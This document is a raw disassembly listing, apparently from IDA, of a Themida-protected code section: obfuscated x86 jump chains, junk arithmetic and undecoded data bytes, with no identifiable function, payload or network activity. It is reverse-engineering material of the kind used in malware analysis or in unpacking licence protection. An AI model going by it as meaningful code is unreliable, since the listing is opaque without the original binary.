dd 7A08B924h, 0D9F73554h, 5E7AE941h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50FB96: ; CODE XREF: Themida_:00506DF0j
xchg ebp, [esp]
pop esp
mov [esp], ecx
jmp loc_5059DC
; ---------------------------------------------------------------------------
loc_50FBA2: ; CODE XREF: Themida_:00516DBBj
push 551753A8h
pop ebx
jmp loc_508161
; ---------------------------------------------------------------------------
db 31h, 0D0h, 5Ah
dd 0E958C721h, 0FFFFEB19h
; ---------------------------------------------------------------------------
loc_50FBB8: ; CODE XREF: Themida_:0051004Fj
sub edi, ecx
sub edi, 739E26D9h
jmp loc_507C4F
; ---------------------------------------------------------------------------
db 1, 0F1h, 5Eh
dd 176FE9h, 8BC88900h, 0C481240Ch, 4, 7C69E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50FBDE: ; CODE XREF: Themida_:005171A2j
mov eax, [esp]
add esp, 4
sub ecx, 3C0D3F20h
add ecx, esi
add ecx, 3C0D3F20h
jmp loc_50EB01
; ---------------------------------------------------------------------------
loc_50FBFA: ; CODE XREF: Themida_:0050BF30j
add esi, edx
pop edx
push ecx
push esi
push edi
mov edi, 39F4227Dh
inc edi
jmp loc_507F3D
; ---------------------------------------------------------------------------
aCfxscq db '´]',8,'æfXé—Q',0
align 2
dw 8951h
dd 4C181E1h, 0E9000000h, 0FFFF5511h
; ---------------------------------------------------------------------------
loc_50FC24: ; CODE XREF: Themida_:0050B458j
mov edx, 0
push ebp
jmp loc_50CFC0
; ---------------------------------------------------------------------------
a3LRsr db '3,$‹$$Ré',0Ah,0
dw 3300h
dd 3C31243Ch, 243C3324h, 48B665Ch, 59545124h, 0BBD9E955h
dd 75B6FFFFh, 0F601EE80h, 53EE80D6h, 9AEB80h, 9AC380F3h
dd 0AAC3805Ah, 0EB80EB28h, 6CB450AAh, 3AB75366h, 0FFB30AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_50FC79: ; CODE XREF: Themida_:00512C8Cj
and ebp, 71613CAEh
jmp loc_50CC41
; ---------------------------------------------------------------------------
dd 0C181F901h, 416F2AA7h, 0FFEA34E9h, 0E9E801FFh, 5719h
dd 4C281h, 0FF520000h, 8B042474h, 0C4832414h, 24048F04h
dd 9A3E9h, 59A56800h, 48B6163h, 4C48324h, 740E9h, 2E05E900h
dd 5166FFFFh, 0EE28B5B5h, 240C8B66h, 3002C483h, 74E95AF0h
dd 81FFFFC5h, 342E59E9h, 81D90116h, 342E59C1h, 0E8E95B16h
dd 68FFFFEBh, 7667h, 0E9240C89h, 0FFFFE6BAh, 5C24048Fh
dd 2424D366h, 2DC1E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50FD0A: ; CODE XREF: Themida_:00514BE3j
add esi, 4
jmp loc_513FAE
; ---------------------------------------------------------------------------
loc_50FD15: ; CODE XREF: Themida_:00517775j
mov ecx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
jmp loc_512964
; ---------------------------------------------------------------------------
dd offset dword_4E814C+71Ch
align 2
dw 1C89h
dd 0A8E924h, 8FB10000h, 0D9F6C9FEh, 80B8F180h, 0F1803BE1h
dd 59C828D6h, 0FFB806E9h, 3E3C0FFh, 88D3EB80h, 4582E9DCh
dd 0B866FFFFh, 2D660463h, 2D664640h, 0E8E92541h, 0D1FFFF87h
dd 7DE953EFh, 87FFFF76h, 0E95C2414h, 0FFFF49CFh
; ---------------------------------------------------------------------------
loc_50FD78: ; CODE XREF: Themida_:00517E03j
pop dword ptr [esp]
xor ecx, edi
xor edi, ecx
xor ecx, edi
jmp loc_517274
; ---------------------------------------------------------------------------
dw 7F83h
dd 840F0020h, 5E3Dh, 4EC81h, 1C890000h, 9ABE5624h, 89376762h
dd 24348BF3h, 4C481h, 0DE010000h, 5B2434FFh, 0A6CE9h
db 0
; ---------------------------------------------------------------------------
loc_50FDB5: ; CODE XREF: Themida_:0050C8E5j
dec ebx
xor ebx, 5D6B7460h
add eax, ebx
pop ebx
jmp loc_515869
; ---------------------------------------------------------------------------
loc_50FDC4: ; CODE XREF: Themida_:0050948Ej
sub edx, edi
pop edi
add edx, 44F2634Ah
jmp loc_5164D5
; ---------------------------------------------------------------------------
dw 5066h
dd 2CF1E99Ch, 5B54FFFFh, 0FF7EDAE9h, 6EF581FFh, 2991CEB4h
dd 242C8BE9h, 5604C483h, 495CE9h
db 0
; ---------------------------------------------------------------------------
loc_50FDF5: ; CODE XREF: Themida_:005169E6j
sub ebp, 9FE73DAh
jmp loc_5078E0
; ---------------------------------------------------------------------------
loc_50FE00: ; CODE XREF: Themida_:0050D09Dj
push eax
mov eax, 0
add eax, edx
xor dword ptr [eax], 3ED08120h
pop eax
pop edx
pop eax
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5043AD
; ---------------------------------------------------------------------------
db 81h
dd 0B57EA3F7h, 81DFF76Ah, 56212AE7h, 80C7813Dh, 0E914655Eh
dd 4F18h, 4C681h, 34870000h, 0B8505C24h, 3DD0435Bh, 0E958C121h
dd 0FFFF9049h, 0E904EC83h, 0FFFF9D9Ah, 31240C33h, 0AAE9240Ch
dd 88000015h, 4CE951C5h, 30000027h, 58E9240Ch
db 2Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50FE73: ; CODE XREF: Themida_:005060DEj
pop esp
mov [esp], ebx
push 6715h
mov [esp], ecx
jmp loc_513609
; ---------------------------------------------------------------------------
dd 3FF6E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50FE8A: ; CODE XREF: Themida_:00503F29j
push edi
mov edi, esp
push 34DBh
mov [esp], ecx
mov ecx, 7BC22DC3h
inc ecx
add ecx, 4FF93AF9h
and ecx, 2740464Ah
shl ecx, 4
add ecx, 508642F2h
sub ecx, 808A436Eh
add edi, ecx
jmp loc_50D277
; ---------------------------------------------------------------------------
db 59h, 0F6h, 0D0h
dd 0D6E9D8F6h, 52FFFF85h, 5F60F068h, 0F2815A5Dh, 0AF2FE7CDh
dd 4E58E9h
db 0
; ---------------------------------------------------------------------------
loc_50FED9: ; CODE XREF: Themida_:00511337j
sub ebx, 14A72A2Ah
pop edi
add ebx, 9192F541h
push ebx
pop ecx
pop ebx
push ebx
jmp loc_504A12
; ---------------------------------------------------------------------------
db 81h
dd 2930D7C3h, 0BAC3817Bh, 4B1BD811h, 0D4B85043h, 0E951F067h
dd 0FFFF4EA6h, 8103E3C1h, 8F4352C3h, 0E9DF3101h, 1010h
dd 0BD242C89h, 663356C5h, 0F75DE809h, 3582E9D0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50FF2A: ; CODE XREF: Themida_:00506409j
pop esi
sub [esp+4], eax
add dword ptr [esp+4], 3BA457CAh
push edx
mov edx, 6FA04638h
push 2373h
jmp loc_5099BE
; ---------------------------------------------------------------------------
db 81h
dd 66120BE9h, 0ACE98165h, 893DFCCEh, 2434FFCEh, 0FF70AEE9h
dd 4C781FFh, 0E9000000h, 4E8h, 0E781D7F7h, 5B632C2Ch, 0E9BE564Fh
dd 0C1738130h, 0EE8104E6h, 0B8B8B00Bh, 815EF721h, 2FA6A7EFh
dd 0A7C38112h, 13E562Ch, 0A7EB81FBh, 0E93E562Ch, 0FFFF8D6Eh
; ---------------------------------------------------------------------------
loc_50FF9C: ; CODE XREF: Themida_:0050F1A7j
add ebp, 0AC129B47h
add edi, ebp
pop ebp
add edi, 4
jmp loc_507F6A
; ---------------------------------------------------------------------------
loc_50FFAD: ; CODE XREF: Themida_:005063A5j
add ebx, edi
pop edi
jmp loc_514FBA
; ---------------------------------------------------------------------------
loc_50FFB5: ; CODE XREF: Themida_:00510EEAj
xor bl, 9Ch
add al, bl
mov ebx, [esp]
add esp, 4
add al, bl
push 7715h
mov [esp], ebx
jmp loc_508663
; ---------------------------------------------------------------------------
loc_50FFD2: ; CODE XREF: Themida_:00508764j
sub esi, 0B534A81h
pop ebx
shl esi, 2
or esi, 282222CFh
sub esi, 7DFE66CBh
jmp loc_513A4F
; ---------------------------------------------------------------------------
db 56h, 0FFh, 74h
dd 8F5E0424h, 895C2404h, 17E9243Ch, 5600007Ch, 0C93AC4BEh
dd 0E9505647h, 0FFFFBB1Bh, 0B6EB815Fh, 0E93F7538h, 0FFFF7811h
; ---------------------------------------------------------------------------
loc_510018: ; CODE XREF: Themida_:0050534Dj
add dword ptr [esp], 4
pop ebx
add ebx, 4
jmp loc_50DF84
; ---------------------------------------------------------------------------
dd 24148B66h, 3061E957h
db 2 dup(0)
word_510032 dw 77FFh ; DATA XREF: Themida_:00502974o
dd 6852501Ch, 18A4171Eh, 8324148Bh, 0DAF704C4h, 0FF73D6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510049: ; CODE XREF: Themida_:0050E4D3j
add edi, 739E26D9h
jmp loc_50FBB8
; ---------------------------------------------------------------------------
dd 0D257C168h, 0E7C15F0Bh, 0F7814F02h, 49F641F0h, 0DAEDEF81h
dd 0FD896324h, 0DEED815Fh, 8179BD15h, 0AD5708EDh, 0E9DDF75Fh
dd 0FFFFDEE2h
; ---------------------------------------------------------------------------
loc_510080: ; CODE XREF: Themida_:00514BF0j
mov edi, ebx
pop ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
add dword ptr [esp], 7C752474h
pop ecx
sub ecx, 7C752474h
jmp loc_50BD14
; ---------------------------------------------------------------------------
loc_5100A9: ; CODE XREF: Themida_:005174FDj
add ecx, 4
xchg ecx, [esp]
pop esp
xchg eax, [esp]
pop esp
jmp loc_50D98D
; ---------------------------------------------------------------------------
loc_5100BC: ; CODE XREF: Themida_:0050E0AAj
mov ecx, ebp
pop ebp
push 6902h
mov [esp], esi
mov esi, ecx
jmp loc_510A7C
; ---------------------------------------------------------------------------
dw 0DDF7h
aVs_0 db 'Véš\',0
align 2
loc_5100D6: ; CODE XREF: Themida_:00508138j
add ecx, 4
push eax
jmp loc_5073D1
; ---------------------------------------------------------------------------
dw 0E381h
dd 68096AC7h, 6A7FEB81h, 0D9012801h, 4B8505Bh, 29000000h
dd 24048BC1h, 81E78957h, 4C7h, 4EC8300h, 0BA241489h, 6D5C4ADBh
dd 1AEDE9h
db 0
; ---------------------------------------------------------------------------
loc_510115: ; CODE XREF: Themida_:0051744Bj
mov edx, 73984571h
mov esi, edx
jmp loc_502D02
; ---------------------------------------------------------------------------
db 1, 0CAh, 59h
dd 1ADBB53h, 0E9524A84h, 18E7h, 0F32DA7BAh, 81D2F735h
dd 0D28140EAh, 5AD72173h, 0BB53DFF7h, 7944652Bh, 49EAE381h
dd 0EB816534h, 0E431675h, 42E9DF31h
db 93h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51015B: ; CODE XREF: Themida_:0050D9B1j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_507D0A
; ---------------------------------------------------------------------------
dd 243C8B5Dh, 8104C483h, 6E7962EAh, 632B687Ch, 2C890000h
dd 7666BD24h, 0BB5354C6h, 284CB1D0h, 50D5E9h, 24248B00h
dd 0B5240C89h, 3E5C0A9h, 0C580EDD0h, 52536640h, 8BE9FFB6h
dd 0C1FFFFD9h, 78E907E2h
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5101B3: ; CODE XREF: Themida_:0050E859j
pop ebx
and eax, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
push esi
mov esi, 4
add edx, esi
mov esi, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
shr eax, 8
xor eax, ecx
xor eax, edi
jmp loc_50A887
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24248904h, 0E9E38953h, 0FFFFA85Dh, 14C2815Ah, 5B086637h
dd 815AD301h, 1EBh, 47506800h, 2C890000h, 7E8ABD24h, 0C3810D4Dh
dd 687B65EFh, 686CE9h
db 0
; ---------------------------------------------------------------------------
loc_51021D: ; CODE XREF: Themida_:005149E2j
add esi, 4
push ebx
push ecx
jmp loc_510C23
; ---------------------------------------------------------------------------
dw 5DBDh
dd 29099B27h, 0F1815DE9h, 839D31A1h, 0FFB0E8E9h, 240489FFh
dd 0FFF568E9h, 0B85055FFh, 4, 3EE9C589h, 0E9000047h, 0FFFF2873h
dd 4EC815Bh, 0E9000000h, 60Eh
; ---------------------------------------------------------------------------
loc_510264: ; CODE XREF: Themida_:00513DBFj
push 771Bh
jmp loc_5136E4
; ---------------------------------------------------------------------------
dw 5954h
dd 4C181h, 0BD550000h, 4, 0FF91E0E9h, 2CF381FFh, 29523E1Ah
dd 0D1F75BD9h, 0BC50C181h, 5D516844h, 0BEB0E959h, 8756FFFFh
dd 0F791240Ch, 0C8791D0h, 0CE815E24h, 5C8C407Bh, 0FF6CF4E9h
dd 83AB9FFh, 0E1814F8Bh, 30CF35C1h, 240CFF51h, 0E92414F7h
dd 0FFFF5F2Dh
; ---------------------------------------------------------------------------
loc_5102C8: ; CODE XREF: Themida_:005063E0j
mov [esp], esi
xor dword ptr [esp], 386D1D2Fh
jmp loc_50942C
; ---------------------------------------------------------------------------
loc_5102D7: ; CODE XREF: Themida_:005145F2j
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
add edx, 4
jmp loc_5168D5
; ---------------------------------------------------------------------------
loc_5102EF: ; CODE XREF: Themida_:0050A5EDj
inc ecx
sub ecx, 0DF47F14h
not ecx
sub ecx, 71EE134Fh
push ecx
jmp loc_503076
; ---------------------------------------------------------------------------
loc_510304: ; CODE XREF: Themida_:0050AA1Bj
or edx, 7920FB4h
push esi
mov esi, 0DFFEEFB4h
xor edx, esi
pop esi
add edx, eax
mov ecx, [edx]
pop edx
pop eax
push ebx
sub esp, 4
mov [esp], eax
push ebp
push 7EB3735Bh
pop ebp
sub esp, 4
mov [esp], esi
push 3D05048Ch
mov esi, [esp]
add esp, 4
xor esi, 154837DDh
add esi, 56664006h
sub ebp, esi
pop esi
push ebp
jmp loc_512923
; ---------------------------------------------------------------------------
loc_510350: ; CODE XREF: Themida_:00509A11j
push eax
mov eax, 5CCC6B89h
xor eax, 4A77402Eh
sub esp, 4
jmp loc_50CF4C
; ---------------------------------------------------------------------------
db 89h
dd 4C281E2h, 0E9000000h, 0FFFF5C3Eh, 51E28952h, 0FF6CD7E9h
dd 0E8C15CFFh, 0A2BB5307h, 0E9089661h, 0FFFF7A4Bh
; ---------------------------------------------------------------------------
loc_510388: ; CODE XREF: Themida_:005047FAj
mov [esp], ecx
push esp
pop ecx
push ebp
push 18D51CDCh
pop ebp
jmp loc_50E645
; ---------------------------------------------------------------------------
db 81h, 0E3h, 1Ch
dd 0E90BC019h, 0FFFFDE5Ch, 6868E189h, 8900003Ch, 1ABF243Ch
dd 0C1478476h, 586802EFh, 89000051h, 0BB532434h, 4C5149F3h
dd 457419BEh, 5BDE2951h, 0E30C681h, 0BF570F16h, 4BCA024Dh
dd 0D9C3C781h, 0FE010752h, 0D3B4E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5103E6: ; CODE XREF: Themida_:0051450Dj
shl eax, 2
push ebx
mov ebx, 46F9408Bh
and eax, ebx
pop ebx
or eax, 28A011CBh
shr eax, 2
not eax
jmp loc_506366
; ---------------------------------------------------------------------------
db 0Dh, 82h, 76h
dd 8D355E51h, 0F7204F08h, 6D0F2DD0h, 0C5895344h, 0E7F58158h
dd 156A467h, 58E95DEBh
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510423: ; CODE XREF: Themida_:00504A1Bj
not dword ptr [esp]
pop ecx
jmp loc_508B29
; ---------------------------------------------------------------------------
dd 54243C89h, 4BD555Fh, 0E9000000h, 0FFFFC97Eh, 335E68h
dd 89E95400h, 2900005Ah, 0E99C2404h, 0FFFF267Bh, 3A9968h
dd 240C8900h, 4B9h, 59CF0100h, 5C243C87h, 0E902C283h, 0FFFFF1B2h
dd 4247401h, 240C8B5Eh, 6F7168h, 242C8900h, 0BF57E589h
dd 4, 815FFD01h, 4C5h, 242C3300h, 33242C31h, 815C242Ch
dd 4C1h, 4C18300h, 0FF679FE9h, 6480BBFFh, 0EE684F75h, 89000015h
dd 0E953243Ch, 0FFFF4E28h, 2B4695BAh, 1DE2810Ah, 814BB948h
dd 8B0F8EE2h, 0D2F74A02h, 567CCA81h, 0F281638Eh, 1D32683h
dd 1FACF281h, 0D08964D5h, 58C2015Ah, 565AD701h, 32E9E689h
dd 58FFFFBCh, 0E92434FFh, 0FFFFD5C3h, 348BF501h, 4C48324h
dd 7E9E829h
db 52h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_510507: ; CODE XREF: Themida_:0050D4BDj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
sub ecx, 2D1372EEh
sub ecx, 6B8E7F86h
jmp loc_5096DD
; ---------------------------------------------------------------------------
dd 31240433h, 4332404h, 24248B24h, 0E904EC83h, 0FFFF8870h
; ---------------------------------------------------------------------------
loc_51053C: ; CODE XREF: Themida_:0050AC06j
add esp, 4
push 3973h
mov [esp], eax
jmp loc_507155
; ---------------------------------------------------------------------------
loc_51054F: ; CODE XREF: Themida_:0050A2B6j
push edi
mov edi, 4
jmp loc_509773
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 5C240C87h, 0FFB395E9h, 0FBBF57FFh, 81213D5Eh, 0ECFA90EFh
dd 4D49E9A7h, 0E6C00000h, 2BC68002h, 0FF81CCE9h
db 0FFh
byte_510585 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00502A20o
dd 0FFE746E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51058D: ; CODE XREF: Themida_:005045E0j
push ecx
push eax
mov eax, 77D9579Ch
mov ecx, 77D957A0h
jmp loc_50DC76
; ---------------------------------------------------------------------------
dw 815Eh
dd 4ECh, 240C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xor ebp, [esp]
jmp loc_5052B5
; ---------------------------------------------------------------------------
byte_5105BF db 0ADh ; DATA XREF: Themida_:0050298Co
dd 9B22B62Dh, 5A9A2D32h, 0BD2D1479h, 0E9242206h, 0FFFF6414h
dd 0B461E95Ch, 5457FFFFh, 5CEFE9h, 0B5E95700h, 0F7FFFF6Ah
dd 0D1F381DBh, 5397FFDFh, 6C242C81h, 5D32F849h, 496CC581h
dd 895B32F8h, 0B82EE9EEh, 0F289FFFFh, 0CDBB535Eh, 0E95A342Dh
dd 0FFFF5006h, 126CEB81h, 0CB292C4Dh, 126CC381h, 29592C4Dh
dd 0B0E95BDAh
db 62h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51062B: ; CODE XREF: Themida_:005060F3j
mov [esp], ebp
jmp loc_506022
; ---------------------------------------------------------------------------
db 0F7h
dd 1BA52D8h, 29000000h, 7BE95AD0h, 68FFFFE0h, 36617AE5h
dd 4EC8358h, 0E9243489h, 0FFFF30C7h, 9CC83B5Ch, 0FF246EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_51065D: ; CODE XREF: Themida_:0050EF63j
push ebx
mov ebx, 72627B98h
or edx, ebx
mov ebx, [esp]
add esp, 4
shr edx, 4
sub edx, 5A1871CBh
dec edx
add edx, 578129EAh
xor edx, 4D7601Fh
add ebp, 36E3297Ah
add ebp, edx
jmp loc_514D5A
; ---------------------------------------------------------------------------
loc_51068E: ; CODE XREF: Themida_:0051627Fj
and ecx, 35C427BFh
xor ecx, 12A76894h
sub esp, 4
jmp loc_50A9F5
; ---------------------------------------------------------------------------
dw 487h
dd 2C895C24h, 81E58924h, 4C5h, 60B8E900h, 2C890000h, 959BD24h
dd 0EB295485h, 3F9B685Dh, 1DE90000h, 81000071h, 4ECh, 24248900h
dd 4BF57h, 65E90000h, 0F700006Eh, 841FE9DBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5106E6: ; CODE XREF: Themida_:00516BE0j
xchg ah, [esp]
dec ah
xchg ah, [esp]
jmp loc_51115E
; ---------------------------------------------------------------------------
db 0B8h
dd 668B3F9Fh, 0DF05D0F7h, 0D311B0Dh, 6CB55DF8h, 0DE22D40h
dd 81E9388Ah, 81FFFFD6h, 6E2B23EBh, 0F3814B71h, 9678FA7Eh
dd 0DFE9D889h, 81000035h, 3C1DEEC3h, 4198E928h, 34FFFFFFh
dd 0C4835A24h, 637AE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51073A: ; CODE XREF: Themida_:00512D85j
push 637Eh
mov [esp], eax
jmp loc_502ACB
; ---------------------------------------------------------------------------
db 52h
dd 2BAh, 5AD02900h, 5C240487h, 241C8966h, 269EE9h, 240C3300h
dd 0E924248Bh, 2BA0h, 53241489h, 4BBh, 5BDA8900h, 148BD089h
dd 4C48124h, 81000000h, 433944EAh, 57C2012Eh, 932475BFh
dd 0BA52502Bh, 659D7923h, 0E70984B8h, 0F40FE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_51079E: ; CODE XREF: Themida_:00514A3Aj
mov eax, esp
add eax, 4
add eax, 4
jmp loc_50332E
; ---------------------------------------------------------------------------
loc_5107AD: ; CODE XREF: Themida_:0050A1F2j
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push ecx
pop eax
jmp loc_50C421
; ---------------------------------------------------------------------------
dw 8853h
dd 5BDD88F3h, 0FF3EBEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5107D1: ; CODE XREF: Themida_:0050A90Dj
add ecx, edi
pop edi
jmp loc_515FFD
; ---------------------------------------------------------------------------
db 89h, 0EFh, 5Dh
dd 0F4669BBh, 0FFFB293Bh, 835F2434h, 0D80104C4h, 0E289525Bh
dd 0A11CE957h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5107F6: ; CODE XREF: Themida_:0050F762j
add esp, 2
jmp loc_505236
; ---------------------------------------------------------------------------
dw 3487h
dd 14895C24h, 81E28924h, 4C2h, 0F6B85000h, 0E9725369h
dd 0FFFF90FEh
; ---------------------------------------------------------------------------
loc_510818: ; CODE XREF: Themida_:0050BA17j
pop ebp
add ecx, edi
pop edi
jmp loc_50F436
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 0FD7864C6h, 50C60100h, 0FD7864B8h, 58C62900h
dd 4EC81h, 3C890000h, 0E9E78924h, 0FFFF35E6h, 592434FFh
dd 4C481h, 0B60F0000h, 148B66C0h, 0D3E95324h, 5EFFFFA3h
dd 60B7E955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_510866: ; CODE XREF: Themida_:00511169j
push eax
mov al, 78h
add al, 15h
mov dl, al
jmp loc_506E4A
; ---------------------------------------------------------------------------
dw 3489h
dd 4BE24h, 0EB810000h, 0FFF021Ch, 76E9F301h, 0C1FFFF88h
dd 0ED8105E5h, 0FFFFFFFFh, 0D102EDC1h, 44F581E5h, 0E95BD691h
dd 5537h
; ---------------------------------------------------------------------------
loc_5108A0: ; CODE XREF: Themida_:0051286Fj
not dword ptr [esp]
mov ecx, [esp]
push 2501h
mov [esp], edi
push esp
pop edi
push ecx
jmp loc_5168CB
; ---------------------------------------------------------------------------
word_5108B6 dw 0C8Bh ; DATA XREF: Themida_:0050290Co
dd 0E0895024h, 405h, 4BE5600h, 0E9000000h, 0FFFF48ECh
; ---------------------------------------------------------------------------
loc_5108CC: ; CODE XREF: Themida_:00512A45j
xchg esi, [esp]
pop esp
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push eax
jmp loc_5124D4
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 24148700h, 241C335Ch, 33241C31h, 665C241Ch, 6824048Bh
dd 6D42h, 0FFAB14E9h, 240C8BFFh, 8004C483h, 0C32823C3h
dd 0E923EB80h, 6C00h
; ---------------------------------------------------------------------------
loc_510920: ; CODE XREF: Themida_:00505A7Ej
mov ebx, ecx
jmp loc_50AF91
; ---------------------------------------------------------------------------
byte_510927 db 0FFh ; DATA XREF: Themida_:00502870o
a4Xh2 db '4$XhÓ2',0
align 10h
dd 81241489h, 4ECh, 24248900h, 0FF28D4E9h, 308AB9FFh, 0E9C147C0h
dd 51E18107h, 0C1270713h, 0E98105E9h, 90E5DCFAh, 0E959CE31h
dd 0FFFFE3D3h, 4EE81h, 0E9560000h, 2FF5h
; ---------------------------------------------------------------------------
loc_51096C: ; CODE XREF: Themida_:00509FDCj
sub eax, 53BCBA44h
jmp loc_503110
; ---------------------------------------------------------------------------
loc_510976: ; CODE XREF: Themida_:0050814Ej
mov cl, bl
push dword ptr [esp]
push dword ptr [esp]
jmp loc_516036
; ---------------------------------------------------------------------------
db 0BDh
dd 7B1C0420h, 0FFCBF7E9h, 1E55BEFFh, 0ADE9264Dh
db 7Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510997: ; CODE XREF: Themida_:005115C9j
pop edx
jmp loc_50D803
; ---------------------------------------------------------------------------
db 83h, 0C0h, 1
dd 7133D52Dh, 58C2296Fh, 0FF7B0AE9h, 2434FFFFh, 0FF99ABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5109B5: ; CODE XREF: Themida_:0050A965j
push 709Ch
jmp loc_50466F
; ---------------------------------------------------------------------------
loc_5109BF: ; CODE XREF: Themida_:0050CFC6j
sub esi, 6863D69h
jmp loc_5115FF
; ---------------------------------------------------------------------------
loc_5109CA: ; CODE XREF: Themida_:0050E6B9j
mov edx, 231E6352h
add ebx, edx
jmp loc_516AC1
; ---------------------------------------------------------------------------
dw 1487h
dd 4D25C24h, 0FCE99C24h, 66FFFFCBh, 0E9241489h, 0FFFFF3E6h
dd 0F6CD7DB8h, 416FE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5109F6: ; CODE XREF: Themida_:00515F73j
mov ecx, esp
jmp loc_50E3DE
; ---------------------------------------------------------------------------
db 1, 0E8h, 5Dh
dd 0F72DE801h, 5D4F9358h, 57E568h, 24148900h, 7F306857h
dd 3C8B692Ch, 7BF1E924h, 0D7F7FFFFh, 4DE368h, 241C8900h
dd 1915BE56h, 0ECBB0938h, 1F6C7E6h, 0C7815EF3h, 4F41130Ch
dd 0EF81DF29h, 4F41130Ch, 81241C8Bh, 4C4h, 1EF8100h, 0E9000000h
dd 0FFFFF30Fh
; ---------------------------------------------------------------------------
loc_510A58: ; CODE XREF: Themida_:00511B61j
pop dword ptr [esp]
jmp loc_5039BC
; ---------------------------------------------------------------------------
dd 5C240C87h, 0FF2062E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510A69: ; CODE XREF: Themida_:005030B3j
pop ebx
push esi
jmp loc_516D07
; ---------------------------------------------------------------------------
loc_510A70: ; CODE XREF: Themida_:00514BB6j
add dword ptr [esp], 4184027Ah
jmp loc_505DB8
; ---------------------------------------------------------------------------
loc_510A7C: ; CODE XREF: Themida_:005100C9j
push esi
pop edx
pop esi
push dword ptr [esp]
pop ecx
add esp, 4
dec edx
push eax
mov eax, 43954939h
neg eax
shr eax, 7
inc eax
add eax, 1647DFDFh
sub edx, eax
pop eax
push ecx
mov ecx, 485D2362h
jmp loc_50F270
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 6E17E9h, 68E18900h, 0C2Ah, 0E9243C89h, 0FFFF5DDDh
; ---------------------------------------------------------------------------
loc_510AC0: ; CODE XREF: Themida_:0050A0C3j
pop esp
sub edi, 204713FFh
sub esp, 4
mov [esp], ebx
mov ebx, 120B0FB3h
or ebx, 1C0B505Bh
jmp loc_502E9A
; ---------------------------------------------------------------------------
dd 4EE9D831h
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510AE7: ; CODE XREF: Themida_:0050A81Dj
mov esi, esp
jmp loc_504A6B
; ---------------------------------------------------------------------------
dw 0C801h
dd 24043359h, 0FF521FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510AF9: ; CODE XREF: Themida_:0050E7B5j
shl edx, 1
push dword ptr [edi+24h]
jmp loc_5032D0
; ---------------------------------------------------------------------------
db 0BDh
dd 416821E3h, 2F97EB81h, 0EB297463h, 2F97C381h, 0F75D7463h
dd 59B5E9DBh, 0FF51FFFFh, 0E9042474h, 0FFFF78EAh, 31243C33h
dd 3C33243Ch, 5A75E924h, 89560000h, 4C681E6h, 81000000h
dd 4C6h, 24348700h, 0D6E4805Ch, 0D4F6CCFEh, 0C046C480h
dd 0F48006ECh, 0B2EB80A9h, 0C380E328h, 24048BB2h, 0E904C483h
dd 0FFFF7D5Fh, 1F4B80BFh, 81DFF777h, 0E65095C7h, 0F3F78156h
dd 8116246Ch, 3806C0F7h, 2CEF813Ch, 29D11F58h, 0D89CE9FDh
dd 248BFFFFh, 2404D324h, 1F2DE99Ch, 489FFFFh, 508FE924h
dd 0C481FFFFh, 4, 0B54DE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_510BB2: ; CODE XREF: Themida_:00513FDDj
mov ebx, 2E6D0922h
neg ebx
jmp loc_50C8CB
; ---------------------------------------------------------------------------
dw 0C689h
dd 0F2215B58h, 0FFC2835Eh, 8105E2C1h, 9375E4C2h, 0CEC6818Ch
dd 8151EA2Fh, 0FB5C05C6h, 0C7C5E952h, 0C083FFFFh, 24048704h
dd 81C3305Ch, 4ECh, 24148900h, 5C6C68h, 240C8900h, 0FFF262E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_510C01: ; CODE XREF: Themida_:00510DB2j
pop esp
mov [esp], edx
push edx
jmp loc_5145DD
; ---------------------------------------------------------------------------
db 81h
dd 5F78C2EAh, 0E9D509D5h, 0FFFFC04Ah, 6344685Ch, 42E90000h
db 0Dh, 2 dup(0)
